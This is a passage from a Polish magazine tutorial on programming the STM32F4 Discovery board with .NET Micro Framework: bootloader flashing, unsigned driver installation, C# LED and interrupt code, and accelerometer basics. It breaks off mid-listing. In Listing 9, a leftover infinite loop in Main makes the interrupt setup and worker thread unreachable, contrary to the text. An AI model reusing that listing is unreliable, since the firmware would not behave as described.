okólny. W skład zestawu wchodzi dodatkowo przetwornik analogowo-cyfro-
wy audio ze zintegrowanym sterownikiem głośnika. Dźwiękowe urządzenie 
wyjścia, takie jak głośnik lub słuchawki można podłączyć za pomocą złącza 
mini jack, znajdującego się pod przyciskiem User.

Po podłączeniu płytki do źródła zasilania za pomocą kabla USB typu A 

do mini-B zostanie uruchomiony domyślny program sterujący mikrokontro-
lerem. Steruje on diodami LD3-LD6, a także reaguje na sygnały generowane 
przez akcelerometr. Po wciśnięciu przycisku User zmianom położenia i przy-
spieszenia płytki w przestrzeni odpowiada zmiana stanu odpowiednich diod. 

W kolejnych podrozdziałach przedstawimy serię przykładów wykorzy-

stania platformy .NET Micro Framework do sterowania podzespołami płytki 
STM32F4 Discovery.

Rysunek 1. Zestaw uruchomieniowy STM32F4 Discovery. Diody LED oddane 

do dyspozycji użytkownika znajdują się pomiędzy niebieskim (User) a czarnym 

przyciskiem (Reset). Wersja płytki jest nadrukowana w jej prawym górnym rogu. 

Ilustracja przedstawia płytkę w wersji A (symbol MB997A)

Biblioteka .NET Micro Framework. 

Programowanie firmware dla urzą-

dzenia STM32F4 Discovery

Platforma .NET Framework jest szeroko wykorzystywana do programowania apli-
kacji desktopowych, internetowych oraz mobilnych. Ponadto najmniejsza wersja tej 
biblioteki, czyli .NET Micro Framework (NMF), umożliwia programowanie systemów 
i urządzeń wbudowanych, czyli obszaru zarezerwowanego do niedawna wyłącznie dla 
natywnych technologii programistycznych. W drugiej części mini-serii artykułów doty-
czących platformy NMF zaprezentujemy jej przykładowe wykorzystanie na rzeczywi-
stym urządzeniu elektronicznym – zestawie uruchomieniowym STM32F4 Discovery.

background image

49

/ www.programistamag.pl /

PRZETWARZANIE GEOMETRII PRZY POMOCY TRANSFORM FEEDBACK OPENGL 4.3

INSTALACJA PROGRAMU 

ROZRUCHOWEGO

Przed przystąpieniem do programowania firmware należy wgrać do mikro-
kontrolera płytki STM32F4 program rozruchowy ze środowiskiem uruchomie-
niowym Tiny CLR, będącym najmniejszą wersją platformy uruchomieniowej 
CLR (ang. Common Language Runtime).

W ogólności bibliotekę .NET Micro Framework można skompilować dla 

konkretnego mikrokontrolera za pomocą narzędzi .NET Micro Framework 
Porting Kit. Do tego celu konieczne jest wcześniejsze przygotowanie sterow-
ników warstw sprzętowych Hardware Abstraction Layer (HAL) oraz Platform 
Abstraction Layer
 (PAL). Warstwy te są zbiorem funkcji C++ (sterowników), 
wywoływanych przez CLR, które zależą od charakterystyki sprzętowej danego 
mikrokontrolera.

Samodzielne wykorzystanie narzędzi Porting Kit wymaga również użycia 

dodatkowych kompilatorów (np. Keil). Z tego powodu w tym artykule pomija-
my to zagadnienie i wykorzystamy jedynie pliki binarne przygotowane przez 
firmę Oberon Microsystems dla NMF w wersji 4.2.

Instalację programu rozruchowego dla zestawu uruchomieniowego 

STM32F4 Discovery zrealizujemy za pomocą aplikacji STM32 ST-LINK Utility 
(

http://www.st.com/web/en/catalog/tools/PF258168#

). Umożliwia ona pro-

gramowanie mikrokontrolerów rodziny STM32. 

Poszczególne etapy instalacji programu rozruchowego są następujące:

 

» Pobieramy, a następnie instalujemy aplikację STM32 ST-LINK Utility. 

 

» Podczas procesu instalacji aplikacji STM32 ST-LINK Utility zostaną zainsta-

lowane sterowniki USB dla płytki STM32 F4 Discovery.

 

» Podłączamy płytkę STM32F4 Discovery z komputerem za pomocą kabla 

USB mini-B i uruchamiamy aplikację STM32 ST-LINK Utility.

 

» Z menu Target wybieramy opcję Connect. Spowoduje to nawiązanie ko-

munikacji z mikrokontrolerem i odczytanie jego pamięci. Zawartość pa-
mięci zostanie wyświetlona w zakładce Device Memory.

 

» Deinstalujemy domyślny firmware oraz czyścimy zawartość pamięci 

FLASH. W tym celu:

 

» W menu Target klikamy opcję Erase Chip.

 

» Następnie, z tego samego menu wybieramy opcję Erase Sectors…

 

» W oknie Flash Memory Mapping (Rysunek 2) klikamy przycisk z ety-
kietą Select all, a następnie przycisk Apply.

 

» W aplikacji STM32 ST-LINK Utility pozostawiamy aktywne połącze-
nie z mikrokontrolerem.

Rysunek 2. Widok aplikacji STM32 ST-LINK Utility

 

» Pobieramy archiwum stm32f4discovery.zip spod adresu 

http://www.codeplex.

com/Download?ProjectName=netmf4stm32&DownloadId=471396

 

» Rozpakowujemy pobrane archiwum. W efekcie uzyskamy trzy pliki: Tiny-

Booter.hexER_CONFIG.hex oraz ER_FLASH.hex.

 

» W menu Target aplikacji STM32 ST-LINK Utility klikamy opcję Program & 

Verify i wskazujemy plik TinyBooter.hex (Rysunek 3).

Rysunek 3. Instalacja programu rozruchowego

 

» W oknie Download [Tinybooter.hex] (Rysunek 4) klikamy przycisk z etykietą Start.

Rysunek 4. Instalacja programu rozruchowego

Po pomyślnym zainstalowaniu programu rozruchowego podłączamy płytkę 
z komputerem za pomocą drugiego kabla USB typu micro-B. Od tej pory ka-
bel USB typu mini-B służy wyłącznie do zasilania zestawu STM32F4 Discove-
ry, a w systemie pojawi się dodatkowe urządzenie pn. STM32.Net Test. Jest 
ono widoczne w menedżerze urządzeń w węźle Inne urządzenia (Rysunek 
5). Urządzenie to do poprawnej pracy wymaga sterowników USB. Archiwum 
ze sterownikami należy pobrać spod adresu: 

http://www.codeplex.com/

Download?ProjectName=netmf4stm32&DownloadId=471395

Rysunek 5. Menedżer urządzeń Windows z zaznaczonym urządzeniem STM32.Net Test

Pobrane archiwum zawiera trzy pliki: STM32F4_WinUSB.inf,  WdfCoInstal-
ler01
009.dll oraz winusbcoinstaller2.dll. Do instalacji urządzenia STM32.Net 
Test w sposób jawny wykorzystamy wyłącznie pierwszy z wymienionych pli-
ków. Poszczególne etapy procesu instalacji sterowników są następujące:

 

» Przechodzimy do menedżera urządzeń, gdzie klikamy prawym przyci-

skiem myszy urządzenie STM32.Net Test.

 

» Z menu wybieramy opcję Aktualizuj oprogramowanie sterownika…

 

» W kreatorze aktualizacji sterowników STM32.Net Test klikamy opcję Prze-

glądaj mój komputer w poszukiwaniu oprogramowania.

 

» W kolejnym kroku klikamy łącze Pozwól mi wybrać z listy sterowników na 

moim komputerze. Spowoduje to wyświetlenie listy urządzeń, gdzie klika-
my przycisk z etykietą Dalej.

background image

50

/ 6 

. 2014 . (25)  /

PROGRAMOWANIE SYSTEMÓW OSADZONYCH

 

» W oknie opisanym jako wybierz sterownik, który chcesz zainstalować 

dla tego sprzętu klikamy przycisk z etykietą z Dysku i wskazujemy plik 
STM32F4_WinUSB.inf.

 

» Klikamy przycisk z etykietą Dalej i potwierdzamy ostrzeżenie o braku pod-

pisu cyfrowego. 

 

» Zamykamy kreator instalacji sterowników i restartujemy płytkę (za pomo-

cą czarnego przycisku Reset płytki).

W przypadku systemów Windows 8 oraz Windows 8.1 instalacja sterowników 
niepodpisanych cyfrowo jest domyślnie zablokowana. W takiej sytuacji przed 
instalowaniem sterowników urządzenia STM32.Net Test należy odblokować 
tę funkcję. Opis tej procedury znajduje się w ramce.

Instalacja sterowników niepodpisanych cyfrowo 

w systemach Windows 8/8.1:

 

P W  pasku  bocznym  (klawisz Windows  + C)  klikamy  Ustawienia, a na-

stępnie Zmień ustawienia komputera.

 

P Z listy dostępnych ustawień wybieramy grupę Aktualizacje i odzyski-

wanie, a następnie Odzyskiwanie

 

P Po prawej stronie okna wyświetli się lista dostępnych opcji, w której 

klikamy przycisk z etykietą Uruchom teraz w sekcji Uruchamianie za-
awansowane
. Spowoduje to ponowne uruchomienie systemu. 

 

P System wyświetli listę opcji, z której wybieramy pozycję Rozwiąż pro-

blemy, a następnie Opcje zaawansowane.

 

P W opcjach zaawansowanych wybieramy element Ustawienia urucha-

miania, po czym klikamy przycisk z etykietą Uruchom ponownie. Spo-
woduje to zrestartowanie systemu.

 

P Po  ponownym  uruchomieniu  komputera  wyświetlona  zostanie  lista 

Ustawienia uruchamiania, w której wybieramy punkt 7 (Wyłącz wymu-
szanie podpisów sterowników
).

W ramach podsumowania tego podrozdziału skonfigurujemy firmware oraz 
zaktualizujemy pamięć FLASH mikrokontrolera, aby możliwe było jego pro-
gramowanie z wykorzystaniem platformy .NET Micro Framework. W tym 
celu uruchamiamy aplikację .NET Micro Framework Deploy Tool (MFDe-
ploy), wchodzącą w skład platformy NMF (instalowaliśmy ją w poprzednim 
artykule). Następnie z listy Device wybieramy pozycję USB, a z listy urządzeń 
STM32F4 Test_a7e70ea2. Potwierdzamy poprawność instalacji programu roz-
ruchowego i w tym celu klikamy przycisk z etykietą Ping. W odpowiedzi po-
winniśmy uzyskać łańcuch TinyBooter (Rysunek 6).

Ostatni etap instalacji platformy .NET Micro Framework na płytce STM32F4 

Discovery polega na wgraniu plików ER_CONFIG.hex oraz ER_FLASH.hex
W tym celu w aplikacji MFDeploy klikamy przycisk Browse… i wskazujemy oba 
te pliki (Rysunek 7), po czym klikamy przycisk z etykietą Deploy.

Rysunek 6. Widok aplikacji MFDeploy z zaznaczonym urządzeniem STM32F4 Test

Rysunek 7. Wgrywanie platformy .NET Micro Framework do pamięci mikrokontrolera

PROGRAMOWANIE STANU DIOD LED

Po pomyślnej instalacji programu rozruchowego i środowiska CLR na płytce 
możemy przystąpić do programowania firmware mikrokontrolera. W tym celu:

 

» Za pomocą Visual Studio 2012 tworzymy nowy projekt MFDiscovery we-

dług szablonu Console Application (Rysunek 8). 

Rysunek 8. Kreator projektu aplikacji .NET Micro Framework w Visual Studio 2012

 

» W menu Project klikamy opcję MFDiscovery Properties…, a następnie:

 

» W zakładce Application z listy rozwijanej Target framework wybiera-
my opcję .NET Micro Framework 4.2.

 

» Przechodzimy na zakładkę .NET Micro Framework i w sekcji Deploy-
ment
 z listy rozwijanej Transport wybieramy opcję USB, a na liście urzą-
dzeń wskazujemy pozycję STM32F4 Test_a7e70ea2 (Rysunek 9).

Rysunek 9. Wskazanie docelowego urządzenia dla implementowanej aplikacji

background image

51

/ www.programistamag.pl /

PRZETWARZANIE GEOMETRII PRZY POMOCY TRANSFORM FEEDBACK OPENGL 4.3

 

» Uzupełniamy projekt aplikacji MFDiscovery o referencję do biblioteki Mi-

crosoft.SPOT.Hardware.dll.

 

» Dodajemy do projektu plik DiscoveryCpuPins.cs i wstawiamy w nim pole-

cenia z Listingu 1.

Listing 1. Zawartość pliku DiscoveryCpuPins.cs

using

 System;

using

 Microsoft.SPOT;

using

 Microsoft.SPOT.Hardware;

namespace

 MFDiscovery

{

public

 

static

 

class

 

DiscoveryCpuPins

{

public

 

static

 

Cpu

.

Pin

 LD3 = (

Cpu

.

Pin

)61;

public

 

static

 

Cpu

.

Pin

 LD4 = (

Cpu

.

Pin

)60;

public

 

static

 

Cpu

.

Pin

 LD5 = (

Cpu

.

Pin

)62;

public

 

static

 

Cpu

.

Pin

 LD6 = (

Cpu

.

Pin

)63;

public

 

static

 

Cpu

.

Pin

 UserButton = (

Cpu

.

Pin

)0;

public

 

static

 

Cpu

.

Pin

 Accelerometer = (

Cpu

.

Pin

)67;

}

}

 

» Projekt MFDiscovery uzupełniamy o plik Enums.cs, a następnie uzupełnia-

my go treścią przedstawioną na Listingu 2.

Listing 2. Definicja typu wyliczeniowego 

UserLed

namespace

 MFDiscovery

{

public

 

enum

 

UserLed

{

LD3,

LD4,

LD5,

LD6

}

}

 

» Dodajemy do projektu MFIntroduction kolejny plik Leds.cs i definiujemy w 

nim klasę 

Leds według wzoru z Listingu 3.

Listing 3. Definicja klasy 

Leds

using

 System;

using

 Microsoft.SPOT;

using

 Microsoft.SPOT.Hardware;

namespace

 MFDiscovery

{

public

 

sealed

 

class

 

Leds

{

private

 

static

 

Leds

 _instance = 

null

;

private

 

static

 

object

 _lockObject = 

new

 

object

();

private

 

OutputPort

 _ld3Port =

new

 

OutputPort

(

DiscoveryCpuPins

.LD3, 

false

);

private

 

OutputPort

 _ld4Port =

new

 

OutputPort

(

DiscoveryCpuPins

.LD4, 

false

);

private

 

OutputPort

 _ld5Port =

new

 

OutputPort

(

DiscoveryCpuPins

.LD5, 

false

);

private

 

OutputPort

 _ld6Port =

new

 

OutputPort

(

DiscoveryCpuPins

.LD6, 

false

);

private

 

OutputPort

[] _ledPorts;

private

 Leds()

{

// Uporządkowanie portów odpowiada ich lokalizacji na płytce

_ledPorts = 

new

 

OutputPort

[] { _ld4Port, 

_ld3Port, _ld5Port, _ld6Port };

}

public

 

static

 

Leds

 Instance

{

get

{

if

 (_instance == 

null

)

{

lock

 (_lockObject)

{

if

 (_instance == 

null

)

{

_instance = 

new

 

Leds

();

}

}

}

return

 _instance;

}

}

private

 

OutputPort

 GetLedPort(

UserLed

 userLed)

{

OutputPort

 userLedPort = 

null

;

switch

 (userLed)

{

case

 

UserLed

.LD3:

userLedPort = _ld3Port;

break

;

case

 

UserLed

.LD4:

userLedPort = _ld4Port;

break

;

case

 

UserLed

.LD5:

userLedPort = _ld5Port;

break

;

case

 

UserLed

.LD6:

userLedPort = _ld6Port;

break

;

}

return

 userLedPort;

}

private

 

void

 ChangeSingleLedStatus(

UserLed

 userLed, 

bool

 status)

{

OutputPort

 ledPort = GetLedPort(userLed);

if

 (ledPort != 

null

)

{

ledPort.Write(status);

}

}

public

 

void

 TurnOn(

UserLed

 userLed)

{

ChangeSingleLedStatus(userLed, 

true

);

}

public

 

void

 TurnOff(

UserLed

 userLed)

{

ChangeSingleLedStatus(userLed, 

false

);

}

public

 

void

 Toggle(

UserLed

 userLed)

{

OutputPort

 ledPort = GetLedPort(userLed);

if

 (ledPort != 

null

)

{

bool

 isOn = ledPort.Read();

ledPort.Write(!isOn);

}

}

private

 

void

 ChangeStatusOfAllLeds(

bool

 status)

{

foreach

 (

OutputPort

 port 

in

 _ledPorts)

{

port.Write(status);

}

}

public

 

void

 TurnOffAll()

{

ChangeStatusOfAllLeds(

false

);

}

public

 

void

 TurnOnAll()

{

ChangeStatusOfAllLeds(

true

);

}

public

 

void

 ToggleAll()

{

foreach

 (

OutputPort

 ledPort 

in

 _ledPorts)

{

bool

 isOn = ledPort.Read();

ledPort.Write(!isOn);

}

}

}

}

background image

52

/ 6 

. 2014 . (25)  /

PROGRAMOWANIE SYSTEMÓW OSADZONYCH

 

» Projekt aplikacji MFIntroduction uzupełniamy o plik Discovery.cs, w którym 

umieszczamy definicję klasy 

Discovery (Listing 4).

Listing 4. Zawartość pliku Discovery.cs

using

 System;

using

 Microsoft.SPOT;

using

 Microsoft.SPOT.Hardware;

namespace

 MFDiscovery

{

public

 

sealed

 

class

 

Discovery

{

private

 

static

 

Discovery

 _instance = 

null

;

private

 

static

 

object

 _lockObject = 

new

 

object

();

private

 

Leds

 _leds = 

null

;

private

 Discovery()

{

_leds = 

Leds

.Instance;

}

public

 

static

 

Discovery

 Instance

{

get

{

if

 (_instance == 

null

)

{

lock

 (_lockObject)

{

if

 (_instance == 

null

)

{

_instance = 

new

 

Discovery

();

}

}

}

return

 _instance;

}

}

public

 

Leds

 Leds

{

get

 { 

return

 _leds; }

}

}

}

 

» Przechodzimy do edycji pliku Program.cs i modyfikujemy jego zawartość 

według wzoru z Listingu 5.

Listing 5. Zawartość pliku Program.cs

using

 System;

using

 Microsoft.SPOT;

using

 System.Threading;

namespace

 MFDiscovery

{

public

 

class

 

Program

{

private

 

static

 

Discovery

 _discovery = 

Discovery

.Instance;

public

 

static

 

void

 Main()

{

const

 

int

 msSleepTime = 500;

while

 (

true

)

{

_discovery.Leds.Toggle(

UserLed

.LD3);

Thread

.Sleep(msSleepTime);

}

}

}

}

Po skompilowaniu i uruchomieniu projektu MFDiscovery (opcja Debug/Start 
debugging
)  odpowiednie pliki binarne aplikacji oraz jej zależności zostaną au-
tomatycznie wgrane do nieulotnej pamięci mikrokontrolera, po czym nastąpi 
jego zrestartowanie. Od tej pory mikrokontroler będzie realizował nieskoń-
czoną pętlę (Listing 5), w ramach której będzie on naprzemiennie włączał i 
wyłączał diodę LD3 o kolorze pomarańczowym. 

Kod źródłowy aplikacji nietrudno zmodyfikować, aby mikrokontroler modyfi-

kował stan wszystkich diod jednocześnie. W tym celu wywołanie metody 

Leds.

Toggle (Listing 5) wystarczy zastąpić wywołaniem metody Leds.ToggleAll.

Sterowanie diodami z poziomu mikrokontrolera zrealizowaliśmy w oparciu 

o klasę 

OutputPort, która służy do kontroli stanu portu wyjścia ogólnego przezna-

czenia (GPIO, od ang. General Purpose Input/Output). Konstruktor tej klasy przyjmuje 
dwa argumenty. Pierwszy to identyfikator portu mikrokontrolera. Natomiast drugi 
pozwala zdefiniować początkowy binarny stan portu (aktywny/nieaktywny). 

W klasie 

Leds

 

(Listing 3) zdefiniowaliśmy cztery zmienne typu 

OutputPort. 

Odpowiadają one poszczególnym portom mikrokontrolera, do których 
podłączone są diody. Identyfikatory tych portów, które zebraliśmy w klasie 
DiscoveryCpuPins, odczytaliśmy z dokumentacji wykorzystywanego zesta-
wu uruchomieniowego. Mianowicie, z dokumentu UM1472: Discovery kit for 
STM32F407/417 lines
 (

http://www.st.com/st-web-ui/static/active/en/resource/

technical/document/user_manual/DM00039084.pdf

). 

Aktualny stan wybranego portu GPIO można odczytać za pomocą metody 

Read 

klasy 

OutputPort. Z kolei nową wartość ustawia się z użyciem metody Write.

Definicja klasy 

Leds

 

zawiera jeszcze dodatkowe metody, które wykorzy-

stamy w kolejnych przykładach.

Klasy 

Leds

 

oraz 

Discovery

 

zostały zaimplementowane zgodnie ze wzorcem 

projektowym o nazwie singleton. Wynika to z faktu, że klasy te stanowią abstrak-
cyjną reprezentację elementów elektronicznych, których liczba jest ściśle określona. 
Mianowicie firmware jest uruchomiony na jednej płytce wyposażonej w skończoną 
liczbę diod. Nie możemy programowo utworzyć nowych portów GPIO, ani płytki.

W przypadku klas 

Leds

 

oraz 

Discovery

 

statyczna metoda 

Instance

 

jest 

bezpieczna w sensie wielowątkowości. Ponadto, instancjonuje ona obiekty 
dopiero w momencie uzyskiwania do nich dostępu. 

Ze względu na użyte słowo kluczowe 

sealed

 

w deklaracjach klas 

Leds 

Discovery

 

nie mogą one być klasami bazowymi. Jest to konieczne w celu 

zablokowania możliwości definiowania publicznych konstruktorów w ewen-
tualnych klasach pochodnych.

OBSŁUGA PRZERWAŃ

W tej części artykułu uzupełnimy projekt aplikacji MFDiscovery o procedury 
umożliwiające obsługę przerwań generowanych na skutek wciśnięcia niebie-
skiego przycisku User. Zadaniem metody obsługującej to zdarzenie będzie 
cykliczne przełączenie trybu pracy mikrokontrolera. W ramach tych trybów 
zaimplementujemy zmianę stanu diody LD3 oraz wszystkich diod jednocze-
śnie, a także cykliczną i losową zmianę stanu diod. Implementacja tego zada-
nia składa się z następujących etapów:

 

» W pliku Enums.cs zdefiniujmy typ wyliczeniowy (Listing 6).

Listing 6. Definicja typu wyliczeniowego 

WorkingMode

public

 

enum

 

WorkingMode

{

ToggleLed = 0,

ToggleAllLeds,

LedSweeping,

ToggleLedRandomly,

None

}

 

» W klasie Discovery wstawiamy polecenia wyróżnione na Listingu 7.

Listing 7. Tworzenie portu przerwaniowego związanego z przyci-
skiem User.

public

 

sealed

 

class

 

Discovery

{

private

 

static

 

Discovery

 _instance = 

null

;

private

 

static

 

object

 _lockObject = 

new

 

object

();

private

 

Leds

 _leds = 

null

;

private

 

InterruptPort

 _userButton = 

null

;

private

 Discovery()

{

_leds = 

Leds

.Instance;

_userButton = 

new

 

InterruptPort

(

DiscoveryCpuPins

.UserButton, 

true

,

Port

.

ResistorMode

.PullDown,

Port

.

InterruptMode

.InterruptEdgeHigh);

}

background image

53

/ www.programistamag.pl /

PRZETWARZANIE GEOMETRII PRZY POMOCY TRANSFORM FEEDBACK OPENGL 4.3

public

 

static

 

Discovery

 Instance

{

get

{

if

 (_instance == 

null

)

{

lock

 (_lockObject)

{

if

 (_instance == 

null

)

{

_instance = 

new

 

Discovery

();

}

}

}

return

 _instance;

}

}

public

 

Leds

 Leds

{

get

 { 

return

 _leds; }

}

public

 

InterruptPort

 UserButton

{

get

 { 

return

 _userButton; }

}

}

 

» Definicję klasy Leds

 

uzupełnijmy o dwie metody z Listingu 8. 

Listing 8. Cykliczne i losowe przełączanie stanu diod

public

 

void

 Sweep()

{

const

 

int

 msSleepTime = 100;

foreach

 (

OutputPort

 port 

in

 _ledPorts)

{

bool

 isOn = port.Read();

port.Write(!isOn);

System.Threading.

Thread

.Sleep(msSleepTime);

}

}

public

 

void

 ToggleRandomly()

{

Random

 r = 

new

 

Random

();

UserLed

 ledToToggle = (

UserLed

)r.Next((

int

)

UserLed

.LD6 + 1);

Toggle(ledToToggle);

}

 

» Zawartość pliku Program.cs zmodyfikujmy według wzoru z Listingu 9.

Listing 9. Cykliczna zmiana stanu pracy mikrokontrolera w osob-
nym wątku

public

 

class

 

Program

{

private

 

static

 

Discovery

 _discovery = 

Discovery

.Instance;

private

 

static

 

WorkingMode

 _currentWorkingMode 

WorkingMode

.None;

private

 

static

 

ManualResetEvent

 _taskCompletedEvent 

new

 

ManualResetEvent

(

false

);

private

 

static

 

bool

 _workingModeChanging = 

false

;

public

 

static

 

void

 Main()

{

const

 

int

 msSleepTime = 500;

while

 (

true

)

{

_discovery.Leds.Toggle(

UserLed

.LD3);

Thread

.Sleep(msSleepTime);

}

_discovery.UserButton.OnInterrupt += UserButton_OnInterrupt;

Thread

 workingModeThread = 

new

 

Thread

(WorkingModeThreadFunction);

workingModeThread.Start();

 

}

private

 

static

 

void

 UserButton_OnInterrupt(

uint

 data1,

 

uint

 data2, 

DateTime

 time)

{

ChangeWorkingMode();

}

private

 

static

 

void

 ChangeWorkingMode()

{

_workingModeChanging = 

true

;

_taskCompletedEvent.WaitOne();

_discovery.Leds.TurnOffAll();

if

 (++_currentWorkingMode > 

WorkingMode

.None)

_currentWorkingMode = 

WorkingMode

.ToggleLed;

_workingModeChanging = 

false

;

}

private

 

static

 

void

 WorkingModeThreadFunction()

{

const

 

int

 msDefaultSleepTime = 500;

const

 

int

 msSmallerSleepTime = 100;

while

 (

true

)

{

if

 (!_workingModeChanging)

{

_taskCompletedEvent.Reset();

switch

 (_currentWorkingMode)

{

case

 

WorkingMode

.ToggleLed:

_discovery.Leds.Toggle(

UserLed

.LD3);

Thread

.Sleep(msDefaultSleepTime);

break

;

case

 

WorkingMode

.ToggleAllLeds:

_discovery.Leds.ToggleAll();

Thread

.Sleep(msDefaultSleepTime);

break

;

case

 

WorkingMode

.LedSweeping:

_discovery.Leds.Sweep();

Thread

.Sleep(msDefaultSleepTime);

break

;

case

 

WorkingMode

.ToggleLedRandomly:

_discovery.Leds.ToggleRandomly();

Thread

.Sleep(msSmallerSleepTime);

break

;

case

 

WorkingMode

.None:

default

:

Thread

.Sleep(msDefaultSleepTime);

break

;

}

_taskCompletedEvent.Set();

}

}

}

}

W powyższym przykładzie wszystkie dostępne tryby pracy mikrokontrolera są 
określone odpowiednimi wartościami typu wyliczeniowego 

WorkingMode. 

Po skompilowaniu i uruchomieniu aplikacji MFDiscovery nastąpi wgranie 

nowej wersji firmware do mikrokontrolera. Tym razem po jego zrestartowaniu 
wszystkie diody będą wyłączone, ponieważ aktualnym trybem pracy jest tryb 
WorkingMode.None (pole _currentWorkingMode). Po wciśnięciu przycisku 
User nastąpi inkrementacja wartości zapisanej w polu 

_currentWorking-

Mode, co powoduje zmianę funkcji realizowanej przez mikrokontroler. Po ko-
lei będą to tryby: przełączanie stanu diody LD3, przełączanie stanu wszystkich 
diod jednocześnie, cykliczna zmiana stanu diod oraz losowa zmiana ich stanu.

Przerwania generowane po wciśnięciu przycisku User obsłużyliśmy za 

pomocą klasy 

InterruptPort. Konstruktor tej klasy przyjmuje cztery argu-

menty. Pierwszym z nich jest znany już identyfikator portu. Drugi argument 
glitchFilter pozwala ustawić filtr zakłóceń dla wybranego portu. Jeśli filtr 
ten zostanie wyłączony, zakłócenia występujące na danym porcie mogą być 
zinterpretowane jako faktyczne przerwania. W przypadku przycisku skutkowa-
łoby to wielokrotnym zgłaszaniem przerwania, reprezentującego jego wciśnię-
cie i co za tym idzie wielokrotnym wywołaniu metody 

ChangeWorkingMode. 

Spowodowałoby to oczywiście błędne przełączanie pomiędzy trybami pracy 
mikrokontrolera. Trzeci argument konstruktora klasy 

InterruptPort

 

o nazwie 

resistor

 

służy do konfiguracji trybu rezystora typu pull-up dla danego portu. 

Ostatnim argumentem konstruktora jest parametr 

interrupt

 

umożliwiający 

zdefiniowanie stanu zbocza lub poziomu sygnału generującego przerwanie.

Po skonfigurowaniu portu przerwaniowego dla przycisku User uzyskujemy 

możliwość jego programowej obsługi. W tym celu wystarczy skojarzyć wybraną 
metodę ze zdarzeniem 

InterruptPort.OnInterrupt. W powyższym przy-

kładzie w ramach metody zdarzeniowej wywołujemy procedurę 

ChangeWork-

ingMode, zmieniającą tryb pracy mikrokontrolera.

background image

54

/ 6 

. 2014 . (25)  /

PROGRAMOWANIE SYSTEMÓW OSADZONYCH

W ramach podsumowania tego podrozdziału zwracamy uwagę, że zaimple-

mentowany tu firmware działa wielowątkowo. Procedury odpowiedzialne za 
poszczególne tryby pracy wywoływane są z funkcji wątku roboczego. Natomiast 
obsługa zdarzenia kliknięcia przycisku User znajduje się w wątku głównym.

AKCELEROMETR

Płytka STM32F4 Discovery jest wyposażona w mikromechaniczny akcele-
rometr cyfrowy. W  zależności od jej wersji jest to układ o identyfikatorze 
LIS302DL w przypadku wersji A i B lub LIS3DSH w przypadku wersji C. Symbol 
wersji zestawu uruchomieniowego jest nadrukowany na powierzchni płytki w 
postaci ciągu MB997w, gdzie ostatnia litera w symbolizuje wersję i może mieć 
jedną z wartości: A, B lub C (zob. Rysunek 1). 

W tym artykule korzystamy z wersji C płytki STM i co za tym idzie akcelero-

metru LIS3DSH. Jednakże procedury jego programowania są analogiczne jak 
w przypadku LIS302DL. 

Przed uzupełnieniem projektu MFDiscovery o konkretne metody pobiera-

jące wartości przyspieszenia z akcelerometru omówimy zasadę jego działa-
nia, tryby pracy oraz mechanizm jego konfiguracji.

ZASADA DZIAŁANIA

Akcelerometr do pomiaru przyspieszenia wykorzystuje podstawowe zasady 
mechaniki. Mianowicie, w najprostszym ujęciu akcelerometrem może być ele-
ment o znanej masie zawieszony na sprężynie przymocowanej do obudowy 
układu. W fizyce ruch elementu zawieszonego na sprężynie dla dostatecznie 
małej wartości tłumienia opisywany jest równaniem oscylatora harmoniczne-
go, które pozwala wyznaczyć przyspieszenie na podstawie zmiany położenia 
elementu o znanej masie (dokładniej masy bezwładnej). Zmiana tego położe-
nia odpowiada wydłużeniu lub skróceniu sprężyny. 

Dla ustalonej pozycji akcelerometru oraz danych parametrów sprężyny 

i tłumienia element zawieszony na sprężynie pozostaje w spoczynku, gdyż 
siła wywierana przez sprężynę na ten element jest równa co do wartości wy-
wieranej na niego sile grawitacji. Innymi słowy można powiedzieć, że w tym 
przypadku akcelerometr dokonuje pomiaru przyspieszenia ziemskiego. W 
związku z tym akcelerometry mierzą przyspieszenie w jednostkach tego przy-
spieszenia, tzn. g = 9,81 m/s

2

.

Zmiana położenia akcelerometru na skutek zewnętrznych sił powoduje 

zaburzenie stanu równowagi i w efekcie bezwładne przesunięcie elementu 
zawieszonego na sprężynie. Zakres tego przesunięcia jest wprost proporcjo-
nalny do zmiany położenia akcelerometru. 

Nowoczesne akcelerometry, które są powszechnie spotykane w wielu 

urządzeniach elektronicznych, takich jak telefony komórkowe, tablety, apa-
raty ze stabilizacją obrazu, układy sterowania poduszkami powietrznymi, 
charakteryzują się niewielkimi rozmiarami. Z tego powodu wytwarza się je 
w krzemie technologią mikromechaniczną. Jednakże, w dalszym ciągu pod-
stawą ich konstrukcji jest element o znanej masie zawieszony na elemencie 
sprężystym. Omówienie technologii mikromechanicznej wykraczałoby poza 
ramy tego artykułu.

Tryby pracy, komunikacja i konfiguracja 
akcelerometru

Układ LIS3DSH jest akcelerometrem małej mocy, który umożliwia mierzenie 
przyspieszenia w trzech osiach w jednym z zakresów: ±2g, ±4g, ±6g, ±8g, 
±16g z częstotliwością pomiaru z przedziału od 3.125 Hz do 1.6 kHz. 

Akcelerometr LIS3DH pracuje w dwóch trybach: wyłączenia (power-down

oraz normalnym. Bezpośrednio po podłączeniu płytki do zasilania akcelero-
metr przez około 10ms wykonuje rozruch, w trakcie którego pobiera z we-
wnętrznej pamięci nieulotnej parametry niezbędne do jego pracy. Po zakoń-
czeniu rozruchu przechodzi do trybu wyłączenia w celu oszczędzania energii. 
Z tego powodu w celu wykonania pomiaru przyspieszenia konieczne jest 
przełączenie akcelerometru w stan normalny. 

Realizuje się to za pomocą aktualizacji wartości w odpowiednich rejestrach 

akcelerometru. Do tego celu konieczne jest jednak wcześniejsze nawiązanie 
z nim komunikacji, która jest możliwa również w trybie wyłączenia. Układ 
LIS3DH udostępnia dwa rodzaje interfejsów komunikacyjnych. Są nimi: sze-
regowy interfejs urządzeń peryferyjnych (ang. Serial Peripheral Interface /SPI/) 
oraz magistrala I2C (ang. Inter-Integrated Circuit). 

Mikrokontoler płytki STM32F4 Discovery do kontroli akcelerometru wy-

korzystuje interfejs SPI, który przewiduje, że urządzenia komunikują się za 
pomocą trzech linii: danych wejściowych oraz wyjściowych (dla danego urzą-
dzenia peryferyjnego) oraz zegara taktującego. 

W bibliotece .NET Micro Framework obsługa interfejsu SPI została zaim-

plementowana w klasie SPI z przestrzeni nazw, a przykład jej wykorzystania 
do komunikacji z akcelerometrem przedstawimy w ramach implementacji 
klasy. W tym celu uzupełnijmy projekt aplikacji MFDiscovery o dodatkowy plik 
Accelerometer.cs i umieśćmy w nim polecenia z Listingu 10.

Listing 10. Implementacja komunikacji z akcelerometrem za pomo-
cą interfejsu SPI

using

 System;

using

 Microsoft.SPOT;

using

 Microsoft.SPOT.Hardware;

namespace

 MFDiscovery

{

public

 

sealed

 

class

 

Accelerometer

{

private

 

static

 

